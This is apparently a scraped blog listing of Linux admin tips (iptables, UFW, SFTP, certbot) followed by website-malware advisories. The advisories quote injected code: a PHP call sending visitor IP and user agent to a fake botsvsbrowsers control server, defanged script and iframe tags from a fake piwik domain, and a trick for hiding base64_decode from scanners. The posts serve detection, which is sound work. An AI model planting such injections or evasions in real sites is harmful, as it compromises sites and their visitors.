bookmark_borderBlocking HTTP requests via Iptables for a specific domain

In a previous article, we showed how to block specific domains at the DNS level using iptables. Today, we will expand into that and show how to also block HTTP requests for a specific domain (or URL) in there.

Iptables String Matching

Iptables string matching is very powerful and easier to use than the hex-string module we used before. When you specify -m string –string, it will activate the string module and inspect at the packet content for the keyword you are looking for.

Continue reading “Blocking HTTP requests via Iptables for a specific domain”

bookmark_borderLets Encrypt: Unable to install the certificate

You’ve heard it’s important to install Let’s Encrypt (LE). You spin up your Ubuntu 18.04 machine and try to use

You run the command:

certbot –apache -d

You are greeted with:

Continue reading “Lets Encrypt: Unable to install the certificate”

bookmark_borderHow To List UFW Rules When The Application is Inactive or Disabled

When working on your server you might need to disable the Uncomplicated Firewall (UFW). When doing so you’ll notice it doesn’t display your rules when the application is inactive.

Continue reading “How To List UFW Rules When The Application is Inactive or Disabled”

bookmark_borderWorking with UFW – Uncomplicated Firewall – on Ubuntu

This is not a comprehensive guide to the UFW application.

It is a basic orientation for the UFW application. This should provide insights you’re probably not aware of, but many might assume you already know.

Continue reading “Working with UFW – Uncomplicated Firewall – on Ubuntu”

bookmark_borderHow do you enable SFTP on your Ubuntu server?

SFTP is a file transfer protocol. It wraps the File Transfer Protocol (FTP) inside the Secure Shell (SSH) protocol. This allows the communication to be protected as it moves from one point to another.

PSA: Using FTP is considered an insecure transfer protocol and should be avoided.

This article assumes you are trying to create new SFTP users on your linux machine. In this example we’ll be using Ubuntu 18.04.

Enabling and Creating SFTP users:

To enable SFTP you have to enable it inside your SSH configuration file. It’s often located here: /etc/ssh/sshd_config. Open the file and add the following to the end of the configuration file:

# override default of no subsystems
Subsystem       sftp    /usr/lib/openssh/sftp-server
Match group sftp
X11Forwarding no
AllowTCPForwarding no
ForceCommand internal-sftp

Options explained:

SubsystemAn abstraction layer that allows you to invoke remote commands. In this instance, we’re invoking sftp-server.
MatchAllows you to limit actions in shell, in this instance we’re limiting the actions to a specific group – sftp. Only those users inside the SFTP group will be able to SFTP into the server.
X11ForwardingThis is a special case for remote tunneling. Unfortuantely it can be used maliciously by a bad actor, so it’s recommended your disable unless you know what you’re doing.
AllowTCPForwarding“TCP Forwarding” allows you to encapsulate any other protocol (based on TCP of course) inside an already established SSH connection. There are a lot of reasons for this, but we don’t want to allow SFTP users to use this without appropriate planning.
ForceCommandThe remote system can only execute a set of statically defined commands. Specifying a command of internal-sftp will force the use of an in-process SFTP server that requires no support files when used with ChrootDirectory.

Once you add this to the SSH config file you need to restart OpenSSH:

service ssh restart

Now you need to add new SFTP users, and apply the user to the right group.

useradd -m [newsftpuser] -g sftp

Set the password:

passwd [newsftpuser]

Now you can test your SFTP connection, from a different server:

sftp [newsftpuser]@[serverIPaddress]

Happy SFTP’ing!

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bookmark_borderRevSlider MalFrames – SoakSoak

The RevSlider SoakSoak malware campaign started with the domain (hence the name). However, since thelast 2 weeks, it has mutated and used different domains as the initial malware intermediary.

This is the full list so far:

  1. First one in the list. We identified more than 100,000 sites redirecting to it.
  2. Started just after soaksoak, leveraging the /collect.js redirection. Almost 10,000 were blacklisted and compromised with it.
  4. Second biggest campaign after soaksoak. More than 50,000 sites compromised and still going.
  6. Current one active. Also leverages the /collect.js redirection and has compromised more than 11,000 different sites.

We will keep updating this list as the domains change and the attacks mutate.

bookmark_borderFake botsvsbrowsers domain

The domain is quite popular and used for comparing user agents (browsers) and seeingif a specific request is from a valid user or a bot.

And piggy backing on their popularity, the bad guys created a domain (.biz versus .com) tobe used as a command and control server on spam SEO campaigns.

This is the code we are seeing on compromised sites:

echo file_get_contents(“http://botsvsbrowsers. biz/Statistic/ Stat.php?ip=’. urlencode($_SERVER[‘REMOTE_ADDR’]).’&useragent=”.urlencode($sUserAgent)…

Which basically contacts on every page load, giving the client IP address, and URLand it decides what to inject to that user. Most of the time we are seeing just plain SPAM, but they are probably servingother malicious code as well.

So if you see any content being loaded from botsvsbrowsers.BIZ (or the IP address, you know it is malicious. blacklisted by Google

We woke up this morning to many reports and people asking why the site is being blacklisted.We did not get a chance to analyze it while it was compromised, but it seems that one of their javascript files ( was modified to inject a malicious iframefrom

That’s the supposed bad code:

It seems the PHP team fixed it already and requested Google to clear it. If anyone has more info, we would love to hear it.

bookmark_borderDo you still look for base64_decode?

A common keyword that people use to find hidden injections on web sites is base64_decode. Youoften see injections that look like eval ( base64_decode or eval ( gzinflate ( base64_decode beingused by the attackers.

So most web security tools have some signatures to look for it (specially on WordPress).

Well, the attackers do know about it as well and we are starting to see some interesting variations for it. Forexample, instead of injecting base64_decode, they are injecting as a variable:


And instead of calling out base64_decode directly, they are using base + 32*2 + decode. A simple trick that allowsthen to bypass many security filters.

bookmark_borderFake piwik domain – piwik-stat

Piwik is an open source web analytics software that is used by many web masters. Andthe bad guys are using their popularity to try to make their malware injection harder todetect. They do that by injecting malicious javascript calls from a domain that looks like came from the Piwik project: This is what is being injected:

<script src="httx://www.piwik-stat. com/piwik.js..
<iframe src="httx://www.piwik-stat. com/index.html..

It is not an uncommon tactic (we see if often with jquery), but as a web master if you see anythingfrom pwiki-stat or similar variations, it is likely fake. The official (and trusted one)is